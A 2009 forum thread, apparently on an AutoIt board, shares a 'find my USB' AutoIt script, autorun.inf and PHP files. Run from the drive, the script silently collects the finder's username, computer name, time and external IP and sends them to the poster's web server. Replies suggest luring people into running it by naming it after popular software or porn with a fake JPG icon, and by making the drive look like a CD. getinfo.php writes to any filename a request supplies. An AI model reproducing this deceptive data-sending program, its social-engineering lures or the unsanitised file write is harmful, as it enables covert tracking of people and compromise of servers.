19 replies to this topic

[killerofsix]

Why I made this

Ok so a few days ago I left my USB in one of the school computer's. So the next day I went to ask the teacher if someone had the USB and of course everyone said "there was no USB here". So I lost all of my work and stuff which made me upset because I didn't have a sure way of getting my USB back!! So I made this program to help me get my USB back if I ever lose it again.


How This Works
Alright so first you must setup a website that supports php. There are plenty of free web hosts that support php so just GOOGLE IT!
Alright now upload "ip.php" and "getinfo.php" to your website(attached;bottom of post) . I'll explain what these do later on.

Alright now just edit my autoit script to your liking.

AutoIt        expandcollapse  popup

#NoTrayIcon
#include <string.au3>
#include <Date.au3>
#include <HTTP.au3>;download this here----> http://www.autoitscript.com/forum/index.php?showtopic=29631&st=15&p=319354&#entry319354

$UserName = @UserName
$ComputerName = @ComputerName
$Date = _DateTimeFormat(_NowCalc(), 1)
$Time = _NowTime()
$host = "www.google.com";Change to your website address e.g. www.savemyusb.com
$page = "/getinfo.php";path to getinfo.php on YOUR website, www.savemyusb.com[/getinfo.php]
$ippage = "/ip.php";path to ip.php on YOUR website, www.savemyurb.com[/ip.php]

$GetIP = InetGet("http://" & $host & $ippage, @ScriptDir & "\ip.txt", 1)
$ReadIPtxt = FileRead(@ScriptDir & "\ip.txt")
$ReadIP = _StringBetween($ReadIPtxt, "<!-- IP START -->", "<!-- IP END -->")
FileDelete(@ScriptDir & "\ip.txt")
If $ReadIP = @error Then
    MsgBox(16, "Error!", "Unable to connect to server. Please try again later")
    Exit
Else
EndIf


$vars = "ip=" & $ReadIP[0] & "&username=" & $UserName & "&computername=" & $ComputerName & "&date=" & $Date & "&time=" & $Time & "&file=" & $UserName & ".txt"
$url = $page & "?" & _HTTPEncodeString($vars)

$socket = _HTTPConnect($host)
$get = _HTTPGet($host, $url, $socket)

;Change $FinalMsg to whatever you like! HAHA! Busted!
$FinalMsg = "All of the above information and more have been sent" & @CRLF & "to my webserver and saved." & @CRLF & "I Will contact you soon to receive my USB." & @CRLF & "Thanks!"
MsgBox(0, "Done sending information!", "Username: " & $UserName & @CRLF & "Computer Name: " & $ComputerName & @CRLF & "IP: " & $ReadIP[0] & @CRLF & @CRLF & $FinalMsg)

My script will grab the following system information from their computer:
-Username
-Computer name
-The current date
-The current time
-External IP address

Then send it to your website which will then save it to a text file as 'culprit'sUsername.txt' with all the information inside!
Then of course you can add a final message, like a "HAHA! gotcha!" to the end of the script

How is this information helpful??
Username: A person's username can sometimes be their full name!
Computer Name: Can help locate the computer their at, like at my school, the computer's names are "PEEL1234"
Date & Time: Find the computer but no one's there? Security camera's! My school has them in the library and other places, so locate the computer the then just look at the time stamp. Cameras are everywhere!
External IP: Type their IP address into: http://www.ip-adress.com/ip_tracer/ and you got their general location and ISP

Info.php: Returns the user's external IP address
getinfo.php: All of the culprit's information is sent using the GET method and then saved to a text file

Also make an 'autorun.inf' to your USB so this program shows up as an autoplay option.

[autorun]
icon=USBRun.exe
open=USBRun.exe
action=Run Games
label=USB Name
shell\open\command=USBRun.exe
shell\open=Run Games

Change "USBRun.exe' to whatever you name this program.

Be creative and make a bunch of copies of this program, all with different names and icons, the culprit is bound to click on one of them!

Please post any questions or suggestions about this script. If you can think of any other information that can be extracted from a person's computer then please post it.
Also if anyone knows how to get a person's ISP using php then that would be really helpful! I've been unable to find anything using google.
And when you post please say something constructive!
Cheers!

Here's getinfo.php

<?php
$fn = $_GET["file"];
$fh = fopen($fn, 'w') or die("can't open file");
$username = $_GET["username"];
fwrite($fh, "Username: ".$username."\n");
$ip = $_GET["ip"];
fwrite($fh, "IP Address: ".$ip."\n");
$computername = $_GET["computername"];
fwrite($fh, "Computer Name: ".$computername."\n");
$date = $_GET["date"];
fwrite($fh, "Date of Message Sent: ".$date."\n");
$time = $_GET["time"];
fwrite($fh, "Time Message Sent: ".$time."\n");
fclose($fh);
?>

Here's ip.php

<body>
<!-- IP START -->
<?php
echo $_SERVER[REMOTE_ADDR];
?>
<!-- IP END -->
</body>

EDIT: Some free hosts put ads in the body of pages automatically so I put comments between the IP's so it only grabs the IP and not everything inside the body. Reupload ip.php and make a small change on line 15 of the .au3 script.
EDIT 2: If "_StringBetween" returns an error the program will exit.

Attached Files

•  getinfo.php   468bytes   303 downloads
•  ip.php   91bytes   327 downloads
•  Find_My_USB.au3   1.57K   450 downloads

Edited by killerofsix, 07 September 2009 - 08:33 PM.

[Yeik]

Nice,
I would have used smtp to send an email. easy to do unless smtp is blocked on the pc, and you dont need a website for php

[gseller]

Good idea.. It doesn't write the txt file for me with the files you uploaded? Can you check the files? Way cool idea, too bad most corporate profiles are turning off autorun tho.. Thanks for sharing...

[crzftx]

First, although I cannot code it, use a flash or java app to get the IP. Many people hide behind proxies, but applets tend to not care. I don't know if your method will get around proxies. It looks like you're just asking an external server what IP you're using to communicate?

Another point is to format your USB drive like a CD. This will bypass the Autorun dialogue and simply run your script (assuming your PC autoruns cds). I only know how to do this on Vista, if you want...

[killerofsix]

@gseller
I'll see if i get that problem with different hosts. It works fine for me. I've tried on my two home comps and on three of my school's computers so far. Works fine with all of them. might be your webhost.

@crzftx
Thats true that they may be behind a proxy. I don't know how to code in flash or java either and I can't think of any other way of getting their external ip address. Maybe i'll start learning flash or java

[DaRam]

I used to use a method that involved deploying an INF file and autoit exe that would display a "Reward for Return" message on all my USB drives and SD (Flash memory) cards, but recently realized that this method would no longer work because of windows updates that have disabled AutoRun/AutoStart for all removable devices. This is strategy of disabling autoplay has become more prevalent since the Conficker worm has been spreading across networks, often entering systems via USB flash drives and other removable media.
See http://www.microsoft.com/technet/security/...ory/967940.mspx

Nearly 18 months after it was discovered, Microsoft has finally fixed a hole in the AutoRun function of older Windows versions that allowed viruses to spread via external storage devices. In July 2008, Microsoft released security bulletin MS08-038. The patch in this bulletin made it possible for users to control AutoRun properly, but only on Windows Vista and Server 2008.

So what happened to the equivalent patch for Windows 2000, XP, and Server 2003? In May 2008, Microsoft had in fact released a patch for these systems, which is described in Knowledge Base article 953252. However, as described in a Jan. 22, 2009, Computerworld article, US-CERT found that the fix for XP/2000/2003 had to be applied manually. Furthermore, Microsoft was not making the patch available automatically via any Windows Update service.

It wasn't until Feb. 24 of this year that Microsoft distributed this patch via Windows Update to XP, 2000, and 2003.

[spudw2k]

...too bad most corporate profiles are turning off autorun tho..

True, but sounds like he lost it at school, and I doubt any student disables Autorun/play at home.

[Manadar]

True, but sounds like he lost it at school, and I doubt any student disables Autorun/play at home.

Me.

[DaRam]

See my post above, it is being disabled by Windows update (albeit selectively depending on the WinFlavor).
So this script will be effectively relying on:
1. Users who do not disable AutoRun on removable devices OR
2. The really dumb ones that try to launch a random EXE they find.

Be creative and make a bunch of copies of this program, all with different names and icons, the culprit is bound to click on one of them!

True, but sounds like he lost it at school, and I doubt any student disables Autorun/play at home.

[gseller]

Quite true, I like the idea of making multiple files. I just don't see any provision in the pup code to write the txt file and I want to set this up on my flash drive. I think it is a way cool idea!

[AutoProgramming]

2. The really dumb ones that try to launch a random EXE they find.

You just need to find the right name for the EXE - for example MicrosoftWord 2007 Portable, Photoshop CS3 Portable or TribalWars Bot should do well...

[gseller]

Of course any name like porn.exe or anything related will be opened immediately..

Has anyone got this to write to a txt file?

<?php
$fn = $_GET["file"];
$fh = fopen($fn, 'w') or die("can't open file");
$username = $_GET["username"];
fwrite($fh, "Username: ".$username."\n");
$ip = $_GET["ip"];
fwrite($fh, "IP Address: ".$ip."\n");
$computername = $_GET["computername"];
fwrite($fh, "Computer Name: ".$computername."\n");
$date = $_GET["date"];
fwrite($fh, "Date of Message Sent: ".$date."\n");
$time = $_GET["time"];
fwrite($fh, "Time Message Sent: ".$time."\n");
fclose($fh);
?>

I tried writing in ["file"] name but get nothing...
edit: not getting the php to write anything to file..

Edited by gseller, 06 April 2009 - 09:19 PM.

[killerofsix]

that's weird how your having trouble getting it to make the text file.
the code is sound and i've already tested it multiple times. works every time. I've tested it on the following sites:
http://www.unlimitedmb.com/
http://www.freephphostonline.com/
http://www.yourfreehosting.net/

and it always makes a text file with all the info inside for the above sites. what host are you using? or are you just using your own computer as a web server?
Small update on first post regarding getting the IP.

If anyone has a more efficient way of getting the IP post it, I do realize it's a pretty simple method but if someone get a better way I'd like to see it. thanks

[gseller]

I have several site on ixwebhosting that caters to php/mysql. Your sure you have the exact code on post 12 writing to a txt file? How? What file, there is none setup in this code...

[killerofsix]

Well first off, I'll admit i'm not a pro at coding with php. I have a general knowledge of writing in html and have been using autoit for about a year now. I just learned what I needed to know to make my script work.
The getinfo.php on my first post IS the one i'm currently using and does work. as you can see from the code in that file there is nothing there that would make it work for only my site.
Once again here's the code fetched right from my site:

<?php
$fn = $_GET["file"];
$fh = fopen($fn, 'w') or die("can't open file");
$username = $_GET["username"];
fwrite($fh, "Username: ".$username."\n");
$ip = $_GET["ip"];
fwrite($fh, "IP Address: ".$ip."\n");
$computername = $_GET["computername"];
fwrite($fh, "Computer Name: ".$computername."\n");
$date = $_GET["date"];
fwrite($fh, "Date of Message Sent: ".$date."\n");
$time = $_GET["time"];
fwrite($fh, "Time Message Sent: ".$time."\n");
fclose($fh);
?>

I personally have no idea why it is not working for you.
Try to see if this script from http://www.tizag.com/phpT/filecreate.php works for you

<?php
$ourFileName = "testFile.txt";
$ourFileHandle = fopen($ourFileName, 'w') or die("can't open file");
fclose($ourFileHandle);
?>

If that doesn't work then i don't know. Does anyone else have this problem?

[gseller]

My bad! It works great now.. It was one place I missed in the au3 file.. LOL Sorry!

[killerofsix]

LOL glad it's working now
simple human error trumps all

[crzftx]

Of course any name like porn.exe or anything related will be opened immediately..

Or just name it porn and set the icon to XPs JPG icon. Hope the user doesn't have all extensions visible. Or set it to a picture of porn, the way Vista shows jpegs.

[gseller]

Or just name it porn and set the icon to XPs JPG icon. Hope the user doesn't have all extensions visible. Or set it to a picture of porn, the way Vista shows jpegs.

Yep, I agree, I think that would work! LOL Who wouldn't be curious...

[whdeveloper]

Many thanks to your script, unfortunately it isn't working for me:(

it keeps giving me the error: "unable to connect to server. please try again later"
and another problem, the disable of autorun: is there no way to let every computer think your USB is a CD and run the program?

Already thanks:) (I'm new at this site and have no progam experience on autoIt)